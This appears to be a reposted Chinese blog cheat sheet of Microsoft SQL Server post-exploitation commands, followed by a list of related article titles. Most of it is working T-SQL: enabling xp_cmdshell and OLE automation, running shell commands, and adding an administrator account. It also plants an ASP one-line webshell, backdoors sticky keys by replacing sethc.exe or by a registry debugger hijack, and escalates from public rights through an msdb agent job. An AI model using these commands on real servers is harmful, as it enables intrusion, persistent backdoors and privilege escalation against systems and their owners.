• 开启和关毕xp_cmdshell
  • EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 开启xp_cmdshell
  • EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;-- 关毕xp_cmdshell
  • EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
  • 2.
  • xp_cmdshell执行命令
  • EXEC master..xp_cmdshell 'ipconfig'
  • 3.
  • 开启和关毕sp_oacreate
  • exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; 开启
  • exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE; 关毕
  • EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
  • 4.
  • sp_OACreate删除文件
  • DECLARE @Result int
  • DECLARE @FSO_Token int
  • EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
  • EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\user.bat'
  • EXEC @Result = sp_OADestroy @FSO_Token
  • 5.
  • sp_OACreate复制文件
  • declare @o int
  • exec sp_oacreate 'scripting.filesystemobject', @o out
  • exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
  • 6.
  • sp_OACreate移动文件
  • declare @aa int
  • exec sp_oacreate 'scripting.filesystemobject', @aa out
  • exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log', 'c:\temp\ipmi1.log';
  • 7.
  • sp_OACreate加管理员用户
  • DECLARE @js int
  • EXEC sp_OACreate 'ScriptControl',@js OUT
  • EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
  • EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
  • 8.
  • 开启和关毕sp_makewebtask
  • exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE; 开启
  • exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE; 关毕
  • EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
  • 9.
  • sp_makewebtask新建文件
  • exec sp_makewebtask 'c:\windows.txt',' select ''<%25execute(request("a"))%25>'' ';;--
  • 10.
  • wscript.shell执行命令
  • use master
  • declare @o int
  • exec sp_oacreate 'wscript.shell',@o out
  • exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
  • 11.
  • Shell.Application执行命令
  • declare @o int
  • exec sp_oacreate 'Shell.Application', @o out
  • exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
  • or
  • exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';
  • 12.
  • 开启和关毕openrowset
  • exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; 开启
  • exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE; 关毕
  • EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
  • 13.
  • 沙盒执行命令
  • exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 默认为3
  • select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')
  • 14.
  • 注册表劫持粘贴键
  • exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
  • Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
  • 15.
  • sp_oacreate替换粘贴键
  • declare @o int
  • exec sp_oacreate 'scripting.filesystemobject', @o out
  • exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
  • declare @oo int
  • exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
  • 16.
  • public权限提权操作
  • USE msdb
  • EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
  • @enabled = 1,
  • @description = 'This will give a low privileged user access to
  • xp_cmdshell',
  • @delete_level = 1
  • EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
  • @step_name = 'Exec my sql',
  • @subsystem = 'TSQL',
  • @command = 'exec master..xp_execresultset N''select ''''exec
  • master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
  • EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
  • @server_name = 'SERVER_NAME'
  • EXEC sp_start_job @job_name = 'GetSystemOnSQL'

-

转载于:https://www.cnblogs.com/linjincheng/p/9728853.html

SQL 不常用的一些命令sp_OACreate,xp_cmdshell,sp_makewebtask相关推荐

  1. Oracle 的 Sql*Plus 常用命令介绍

    估计用 Oracle 的几乎一开始都是使用 Sql*Plus 吧, 毕竟这个工具可以运行在任何的 Oracle 运行的平台上, 这个工具呢,您可以在客户端实现安装,也可以在服务端安装, 在客户端的安装 ...

  2. 二、oracle sql*plus常用命令

    一.sys用户和system用户 Oracle安装会自动的生成sys用户和system用户 (1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该 ...

  3. Oracle的学习一:安装与卸载、sql *plus常用命令、Oracle用户管理

    1.为什么学习oracle? 性能优越: 小型数据库 中型数据库 大型数据库 acess.foxbase mysql.sql server.informix sybase.oracle.db2 复杂量 ...

  4. SQL PLUS常用命令

    Oracle的sql*plus是与oracle进行交互的客户端工具.在sql*plus中,可以运行sql*plus命令与sql*plus语句. 我们通常所说的DML.DDL.DCL语句都是sql*pl ...

  5. PL/SQL Developer常用命令快捷设置

    序言 使用PL/SQL,常用命令语句查询SELECT 插入INSERT 更新UPDATE 删除DELETE等这类基础语句,都希望能像Liunx系统一样按TAB按键可以补全或查找,为了提高效率,我们可以 ...

  6. sql server 常用的扩展存储过程

    sql server 里面提供了丰富的系统存储过程来辅助我们管理数据库以及开发.今天分享介绍一些常用的数据库扩展存储过程 xp_cmdshell 这个大家都比较熟悉了,使用xp_cmdshell 可以 ...

  7. 最详细的SQL注入语句相关的命令整理

    1. 用^转义字符来写ASP(一句话木马)文件的方法:  http://192.168.1.5/display.asp?keyno=1881;execmaster.dbo.xp_cmdshell ' ...

  8. 常用MySQL的命令集锦

    常用MySQL的命令集锦 一.连接MySQL 格式: mysql -h主机地址 -u用户名 -p用户密码 1.例1:连接到本机上的MYSQL. 首先在打开DOS窗口,然后进入目录 mysqlbin,再 ...

  9. 达梦数据库操作记录_达梦数据库常用功能及命令记录 -- 持续更新

    达梦数据库常用功能及命令记录 -- 持续更新 达梦数据库常用功能及命令记录 达梦数据库语句的使用总体来说跟 oracle 很接近的, 这篇文章主要是把常用的情况和语句做了记录, 并且后续还会不断的持续 ...

  10. 【分享】Oracle 常用运维命令大全

    教材下载 ORACLE OCP 19C 官方电子教材 ORACLE OCP 12C官方电子教材 课程介绍 DBA数据库管理必备认证:ORACLE OCP 19C Oracle 常用运维命令大全 一.o ...

最新文章

  1. 【ADO.NET】2、各种版本的 简单登录验证
  2. 现宣布Windows Azure中SQL数据同步的增强功能
  3. 跪求AI编程语言--纯中文代码
  4. 【tensorflow速成】Tensorflow图像分类从模型自定义到测试
  5. [Linux] 权限与指令间的关系
  6. python 裁判文书网_python - 用selenium模拟登陆裁判文书网,系统报错找不到元素。...
  7. java虚拟机内存模型种类_深入理解volatile类型——从Java虚拟机内存模型角度
  8. 反射机制——获取Class中的构造函数
  9. 中国光谷大数据产业联盟成立 打造大数据产业生态圈
  10. python—contour绘制轮廓线(等高线)
  11. html远程连接mysql_mysql允许远程连接
  12. 在校大学生如何申请软件著作权(超级详细)
  13. 品优购---品优购项目制作---8.4
  14. 学生用计算机中怎样输入分数,职称计算机考试Excel中输入分数技巧
  15. 计算机科学中的数学等(视频)
  16. 微信小程序回车键传值
  17. 【Web前端HTML5CSS3】02-前端开发准备
  18. 【C++实现】编译原理 免考小队 NFA转换为等价的DFA
  19. android培训技能,Android培训应该掌握的核心技能有哪些?
  20. dvcs-ripper安装教程

热门文章

  1. 第一部分 1.2 定义OC的类和创建OC的对象
  2. ASP.net MVC redis完整示例(含集合,哈希,sortedset)
  3. 西游记与面向对象编程
  4. SQL 通配符 、分页 功能的学习
  5. C#调用C语言生成的DLL“未找到入口”
  6. 知识图谱属性与关系区别
  7. 【LeetCode】【字符串】题号:*151. 翻转字符串里的单词
  8. dataframe 绘图——按照每列出一个图(df.plot)
  9. Matlab多光谱kmeans聚类分割
  10. MODIS三种常见数据辐射定标处理